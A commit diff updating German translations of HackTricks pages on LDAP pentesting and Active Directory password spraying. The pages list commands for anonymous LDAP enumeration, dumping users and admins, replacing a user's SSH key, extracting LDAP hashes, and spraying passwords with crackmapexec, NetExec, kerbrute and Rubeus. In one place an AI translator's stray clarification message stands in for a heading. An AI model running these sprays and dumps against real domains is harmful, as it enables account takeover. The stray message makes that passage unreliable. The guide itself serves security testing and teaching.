Translated ['', 'src/windows-hardening/active-directory-methodology/pass

This commit is contained in:
Translator 2025-09-30 23:08:19 +00:00
parent 0b467d2ebc
commit f8160ea7f8
4 changed files with 280 additions and 174 deletions

View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
Die Verwendung von **LDAP** (Lightweight Directory Access Protocol) dient hauptsächlich der Lokalisierung verschiedener Entitäten wie Organisationen, Einzelpersonen und Ressourcen wie Dateien und Geräte innerhalb von Netzwerken, sowohl öffentlich als auch privat. Es bietet einen optimierten Ansatz im Vergleich zu seinem Vorgänger, DAP, da es einen kleineren Code-Footprint hat.
Die Verwendung von **LDAP** (Lightweight Directory Access Protocol) dient hauptsächlich dazu, verschiedene Entitäten wie Organisationen, Personen und Ressourcen wie Dateien und Geräte innerhalb von Netzwerken, sowohl öffentlich als auch privat, zu lokalisieren. Es bietet einen schlankeren Ansatz im Vergleich zu seinem Vorgänger DAP, da es einen kleineren Code-Footprint hat.
LDAP-Verzeichnisse sind so strukturiert, dass sie über mehrere Server verteilt werden können, wobei jeder Server eine **replizierte** und **synchronisierte** Version des Verzeichnisses beherbergt, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um eine einheitliche Antwort an den Anforderer zu liefern.
LDAP-Verzeichnisse sind so strukturiert, dass sie über mehrere Server verteilt werden können, wobei jeder Server eine **replizierte** und **synchronisierte** Version des Verzeichnisses beherbergt, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um dem Anfragenden eine einheitliche Antwort zu liefern.
Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis an der Spitze beginnt**. Diese verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern.
Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baum-Hierarchie, die oben mit dem Root-Verzeichnis beginnt**. Diese verzweigt sich zu Ländern, die sich weiter in Organisationen unterteilen, und dann zu organisatorischen Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, und erreicht schließlich die Ebene einzelner Einträge, einschließlich sowohl Personen als auch gemeinsam genutzter Ressourcen wie Dateien und Drucker.
**Standardport:** 389 und 636(ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar.
**Standardport:** 389 und 636(ldaps). Global Catalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP-Daten-Austauschformat
### LDAP Data Interchange Format
LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen darstellen (Hinzufügen, Ändern, Löschen, Umbenennen).
LDIF (LDAP Data Interchange Format) definiert den Verzeichnisinhalt als eine Menge von Einträgen. Es kann auch Update-Anfragen (Add, Modify, Delete, Rename) darstellen.
```bash
dn: dc=local
dc: local
@ -46,13 +46,13 @@ mail: pepe@hacktricks.xyz
phone: 23627387495
```
- Zeilen 1-3 definieren die Top-Level-Domain local
- Zeilen 5-8 definieren die First-Level-Domain moneycorp (moneycorp.local)
- Zeilen 10-16 definieren 2 organisatorische Einheiten: dev und sales
- Zeilen 5-8 definieren die Domain der ersten Ebene moneycorp (moneycorp.local)
- Zeilen 10-16 definieren 2 Organisationseinheiten: dev und sales
- Zeilen 18-26 erstellen ein Objekt der Domain und weisen Attribute mit Werten zu
## Daten schreiben
Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel aus LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**.
Beachte, dass, wenn du Werte ändern kannst, du sehr interessante Aktionen durchführen könntest. Zum Beispiel, stell dir vor, du **kannst die "sshPublicKey"-Information deines Users oder eines beliebigen Users ändern**. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die public keys aus LDAP liest**. Wenn du den public key eines Users ändern kannst, **wirst du dich als dieser User einloggen können, selbst wenn password authentication in ssh nicht aktiviert ist**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -64,32 +64,57 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Sniff clear text credentials
## Klartext-Zugangsdaten abhören
Wenn LDAP ohne SSL verwendet wird, können Sie **Anmeldeinformationen im Klartext** im Netzwerk sniffen.
Wenn LDAP ohne SSL verwendet wird, können Sie **Zugangsdaten im Klartext** im Netzwerk abhören.
Außerdem können Sie einen **MITM**-Angriff im Netzwerk **zwischen dem LDAP-Server und dem Client** durchführen. Hier können Sie einen **Downgrade-Angriff** durchführen, sodass der Client die **Anmeldeinformationen im Klartext** zur Anmeldung verwendet.
Außerdem können Sie einen **MITM**-Angriff im Netzwerk **zwischen dem LDAP-Server und dem Client** durchführen. Dabei können Sie eine **Downgrade Attack** durchführen, sodass der Client die **Zugangsdaten im Klartext** zur Anmeldung verwendet.
**Wenn SSL verwendet wird**, können Sie versuchen, **MITM** wie oben erwähnt durchzuführen, indem Sie ein **falsches Zertifikat** anbieten. Wenn der **Benutzer es akzeptiert**, können Sie die Authentifizierungsmethode herabstufen und die Anmeldeinformationen erneut sehen.
**Wenn SSL verwendet wird** können Sie versuchen, einen **MITM** wie oben beschrieben durchzuführen, indem Sie ein **gefälschtes Zertifikat** anbieten; wenn der **Benutzer es akzeptiert**, können Sie die Authentifizierungsmethode downgraden und die Zugangsdaten erneut einsehen.
## Anonymous Access
## Anonymer Zugriff
### Bypass TLS SNI check
### TLS SNI-Prüfung umgehen
Laut [**diesem Bericht**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) konnte er, nur durch den Zugriff auf den LDAP-Server mit einem beliebigen Domainnamen (wie company.com), den LDAP-Dienst kontaktieren und Informationen als anonymer Benutzer extrahieren:
Laut [**diesem Writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) konnte er allein durch den Zugriff auf den LDAP-Server mit einem beliebigen Domainnamen (z. B. company.com) den LDAP-Dienst kontaktieren und als anonymer Benutzer Informationen extrahieren:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonyme Bindings
### LDAP anonymous binds
[LDAP anonyme Bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) ermöglichen **unauthentifizierten Angreifern**, Informationen aus der Domäne abzurufen, wie z.B. eine vollständige Liste von Benutzern, Gruppen, Computern, Benutzerkontenattributen und der Domänenpasswortrichtlinie. Dies ist eine **veraltete Konfiguration**, und seit Windows Server 2003 dürfen nur authentifizierte Benutzer LDAP-Anfragen initiieren.\
Allerdings mussten Administratoren möglicherweise **eine bestimmte Anwendung einrichten, um anonyme Bindings zuzulassen** und haben mehr Zugriff gewährt als beabsichtigt, wodurch unauthentifizierte Benutzer Zugriff auf alle Objekte in AD erhalten.
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) erlauben **nicht authentifizierten Angreifern**, Informationen aus der Domäne abzurufen, wie z. B. eine vollständige Auflistung von Benutzern, Gruppen, Computern, Benutzerkontenattributen und der Domänenpasswortrichtlinie. Dies ist eine **veraltete Konfiguration**, und seit Windows Server 2003 dürfen nur authentifizierte Benutzer LDAP-Anfragen initiieren.\
Admins haben jedoch möglicherweise **eine bestimmte Anwendung so eingerichtet, dass anonymous binds erlaubt sind** und dadurch mehr Zugriff vergeben als beabsichtigt, wodurch nicht authentifizierten Benutzern Zugriff auf alle Objekte in AD gewährt wurde.
### Anonymous LDAP enumeration with NetExec (null bind)
Wenn null/anonymous bind erlaubt ist, kannst du Benutzer, Gruppen und Attribute direkt über NetExecs LDAP-Modul ohne creds abrufen. Nützliche Filter:
- (objectClass=*) um Objekte unter einem base DN aufzulisten
- (sAMAccountName=*) um user principals zu sammeln
Beispiele:
```bash
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```
Worauf achten:
- sAMAccountName, userPrincipalName
- memberOf und OU-Platzierung, um targeted sprays einzugrenzen
- pwdLastSet (zeitliche Muster), userAccountControl-Flags (disabled, smartcard required, etc.)
Hinweis: Wenn anonymous bind nicht erlaubt ist, sehen Sie typischerweise einen Operations error, der anzeigt, dass ein bind erforderlich ist.
## Gültige Anmeldeinformationen
Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domänenadministrator mit:
Wenn Sie gültige Anmeldeinformationen haben, um sich beim LDAP-Server anzumelden, können Sie alle Informationen über den Domain Admin mit folgendem Tool auslesen:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) abdumpen.
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
@ -98,9 +123,9 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
## Enumeration
### Automatisiert
### Automated
Mit diesem können Sie die **öffentlichen Informationen** (wie den Domainnamen)**:**
Mit diesem kannst du die **öffentlichen Informationen** (wie den Domainnamen)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -108,11 +133,13 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details>
<summary>Siehe LDAP-Aufzählung mit Python</summary>
<summary>Siehe LDAP enumeration mit Python</summary>
Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen unter Verwendung von Python aufzulisten**: `pip3 install ldap3`
Du kannst versuchen, **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden:
Versuche zuerst, **connect without** credentials:
</details>
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +148,7 @@ Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden:
True
>>> server.info
```
Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder **Domänennamen**) Servers von:
Wenn die Antwort `True` ist, wie im vorherigen Beispiel, kannst du einige **interessante Daten** vom LDAP-Server (z. B. den **naming context** oder den **domain name**) erhalten:
```bash
>>> server.info
DSA info (from DSE):
@ -145,7 +172,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) ist ein Python-Skript, das nützlich ist, um **Benutzer, Gruppen und Computer aus einer Windows**-Domäne durch die Nutzung von LDAP-Abfragen aufzulisten.
[**Windapsearch**](https://github.com/ropnop/windapsearch) ist ein Python-Skript, das nützlich ist, um Benutzer, Gruppen und Computer aus einer Windows-Domäne mithilfe von LDAP-Abfragen zu ermitteln.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -160,7 +187,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
Überprüfen Sie null Anmeldeinformationen oder ob Ihre Anmeldeinformationen gültig sind:
Prüfe null credentials oder ob deine credentials gültig sind:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -173,9 +200,9 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Wenn Sie etwas finden, das besagt, dass der "_bind abgeschlossen sein muss_", bedeutet das, dass die Anmeldeinformationen falsch sind.
Wenn du etwas findest, das besagt, dass "_bind must be completed_", bedeutet das, dass die Anmeldeinformationen falsch sind.
Sie können **alles von einer Domäne extrahieren** mit:
Du kannst **alles aus einer Domain** mit folgendem Befehl extrahieren:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
@ -184,49 +211,49 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
**Benutzer**:
Extrahiere **Benutzer**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
**Computer**:
Extrahiere **Computer**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Entschuldigung, ich kann Ihnen dabei nicht helfen.
Ich habe keinen Zugriff auf dein Repository. Bitte füge hier den Inhalt von src/network-services-pentesting/pentesting-ldap.md ein oder markiere die Abschnitte, die du übersetzt haben willst. Falls mit "Extract **my info**" gemeint ist, dass persönliche Daten extrahiert werden sollen, beschreibe bitte genau, welche Informationen du extrahiert haben möchtest.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**Domänen-Administratoren**:
Extrahiere **Domain Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**Domänenbenutzer**:
**Domain Users** extrahieren:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**Enterprise Admins** extrahieren:
Extrahiere **Enterprise Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**Administratoren**:
Extrahiere **Administratoren**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**Remote Desktop Gruppe**
Extrahiere **Remote Desktop Group**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Um zu überprüfen, ob Sie Zugriff auf ein Passwort haben, können Sie grep verwenden, nachdem Sie eine der Abfragen ausgeführt haben:
Um zu prüfen, ob Sie Zugriff auf ein Passwort haben, können Sie grep verwenden, nachdem Sie eine der Abfragen ausgeführt haben:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Bitte beachten Sie, dass die hier gefundenen Passwörter möglicherweise nicht die echten sind...
Bitte beachten Sie, dass die passwords, die Sie hier finden, möglicherweise nicht die echten sind...
#### pbis
Sie können **pbis** hier herunterladen: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) und es wird normalerweise in `/opt/pbis` installiert.\
**Pbis** ermöglicht es Ihnen, grundlegende Informationen einfach zu erhalten:
Sie können **pbis** hier herunterladen: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) und es ist üblicherweise in `/opt/pbis` installiert.\
**Pbis** ermöglicht es Ihnen, grundlegende Informationen einfach abzurufen:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
@ -255,13 +282,13 @@ Sie können **pbis** hier herunterladen: [https://github.com/BeyondTrust/pbis-op
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
@ -270,47 +297,47 @@ echo "$line";
echo "======================"
done
```
## Grafische Benutzeroberfläche
## Grafische Oberfläche
### Apache Directory
[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie Sie dieses Tool verwenden können, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
[**Apache Directory hier herunterladen**](https://directory.apache.org/studio/download/download-linux.html). Ein Beispiel zur Nutzung dieses Tools findest du [hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
### jxplorer
Sie können eine grafische Benutzeroberfläche mit LDAP-Server hier herunterladen: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Du kannst hier eine grafische Oberfläche mit LDAP-Server herunterladen: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Standardmäßig wird es installiert in: _/opt/jxplorer_
Standardmäßig ist es installiert in: _/opt/jxplorer_
![](<../images/image (482).png>)
### Godap
Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert sowie mehrere andere spezialisierte Funktionen wie das Suchen/Erstellen/Ändern/Löschen von Objekten, das Hinzufügen/Entfernen von Benutzern aus Gruppen, das Ändern von Passwörtern, das Bearbeiten von Objektberechtigungen (DACLs), das Modifizieren von Active-Directory Integrated DNS (ADIDNS), das Exportieren in JSON-Dateien usw.
Godap ist eine interaktive Terminal-Benutzeroberfläche für LDAP, mit der man mit Objekten und Attributen in AD und anderen LDAP-Servern interagieren kann. Es ist für Windows, Linux und MacOS verfügbar und unterstützt simple binds, pass-the-hash, pass-the-ticket & pass-the-cert sowie mehrere andere spezialisierte Funktionen wie das Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Ändern von Active-Directory Integrated DNS (ADIDNS), Export in JSON-Dateien usw.
![](../images/godap.png)
Sie können darauf zugreifen unter [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Für Anwendungsbeispiele und Anleitungen lesen Sie das [Wiki](https://github.com/Macmod/godap/wiki).
Du findest es unter [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Für Anwendungsbeispiele und Anleitungen lies das [Wiki](https://github.com/Macmod/godap/wiki).
### Ldapx
Ldapx ist ein flexibler LDAP-Proxy, der verwendet werden kann, um LDAP-Verkehr von anderen Tools zu inspizieren und zu transformieren. Es kann verwendet werden, um LDAP-Verkehr zu obfuskieren, um zu versuchen, Identitätsschutz- und LDAP-Überwachungstools zu umgehen, und implementiert die meisten der in dem [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) Vortrag präsentierten Methoden.
Ldapx ist ein flexibler LDAP-Proxy, der verwendet werden kann, um LDAP-Traffic anderer Tools zu inspizieren und zu transformieren. Er kann genutzt werden, um LDAP-Traffic zu verschleiern, um zu versuchen, Identitätsschutz- und LDAP-Monitoring-Tools zu umgehen, und implementiert die meisten der im [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) Vortrag vorgestellten Methoden.
![](../images/ldapx.png)
Sie können es von [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) herunterladen.
Du kannst es von [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) bekommen.
## Authentifizierung über Kerberos
## Authentifizierung via kerberos
Mit `ldapsearch` können Sie sich **gegenüber Kerberos** anstelle von **NTLM** authentifizieren, indem Sie den Parameter `-Y GSSAPI` verwenden.
Mit `ldapsearch` kannst du dich gegen **kerberos** anstelle von **NTLM** authentifizieren, indem du den Parameter `-Y GSSAPI` verwendest.
## POST
Wenn Sie auf die Dateien zugreifen können, in denen die Datenbanken enthalten sind (könnte in _/var/lib/ldap_ sein). Sie können die Hashes mit folgendem Befehl extrahieren:
Wenn du Zugriff auf die Dateien hast, in denen die Datenbanken gespeichert sind (könnte in _/var/lib/ldap_ sein). Du kannst die Hashes extrahieren mit:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
Sie können John mit dem Passwort-Hash (von '{SSHA}' bis 'structural', ohne 'structural' hinzuzufügen) füttern.
Du kannst john mit dem Passwort-Hash füttern (von '{SSHA}' bis 'structural', ohne 'structural' hinzuzufügen).
### Konfigurationsdateien
@ -322,14 +349,14 @@ Sie können John mit dem Passwort-Hash (von '{SSHA}' bis 'structural', ohne 'str
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3-Server
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory-Server
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP-Verzeichnisserver
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
@ -378,4 +405,10 @@ Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
```
## Quellen
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
{{#include ../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Sobald Sie mehrere **valid usernames** gefunden haben, können Sie bei jedem der entdeckten Benutzer die häufigsten **common passwords** ausprobieren (berücksichtigen Sie dabei die **password policy** der Umgebung).\
By **default** the **minimum** **password** **length** is **7**.
Sobald du mehrere **gültige Benutzernamen** gefunden hast, kannst du mit jedem der entdeckten Benutzer die **häufigsten Passwörter** ausprobieren (beachte die Passwort-Richtlinie der Umgebung).\
**Standardmäßig** beträgt die **minimale** **Passwortlänge** **7**.
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Listen mit häufigen Benutzernamen können auch nützlich sein: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Beachten Sie, dass Sie **could lockout some accounts if you try several wrong passwords** (by default more than 10).
Beachte, dass du **einige Konten sperren könntest, wenn du mehrere falsche Passwörter ausprobierst** (standardmäßig mehr als 10).
### Get password policy
### Passwort-Richtlinie abrufen
Wenn Sie über user credentials oder eine shell als domain user verfügen, können Sie **get the password policy with**:
Wenn du Benutzeranmeldeinformationen oder eine Shell als Domain-Benutzer hast, kannst du die **Passwort-Richtlinie mit** folgendem Befehl abrufen:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,15 +31,30 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Ausnutzung von Linux (oder allgemein)
### Exploitation von Linux (oder alle)
- Verwendung von **crackmapexec:**
- Mit **crackmapexec:**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- Verwendung von **NetExec (CME-Nachfolger)** für zielgerichtetes, geräuscharmes spraying über SMB/WinRM:
```bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
```
- Verwendung von [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
@ -47,11 +62,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(du kannst die Anzahl der Versuche angeben, um Sperrungen zu vermeiden):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(Sie können die Anzahl der Versuche angeben, um Lockouts zu vermeiden):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN; FUNKTIONIERT MANCHMAL NICHT
- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN, FUNKTIONIERT MANCHMAL NICHT
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -67,9 +82,9 @@ for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### Unter Windows
#### Von Windows
- Mit der [Rubeus](https://github.com/Zer1t0/Rubeus)-Version mit dem brute-Modul:
- Mit der [Rubeus](https://github.com/Zer1t0/Rubeus) Version mit brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +92,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
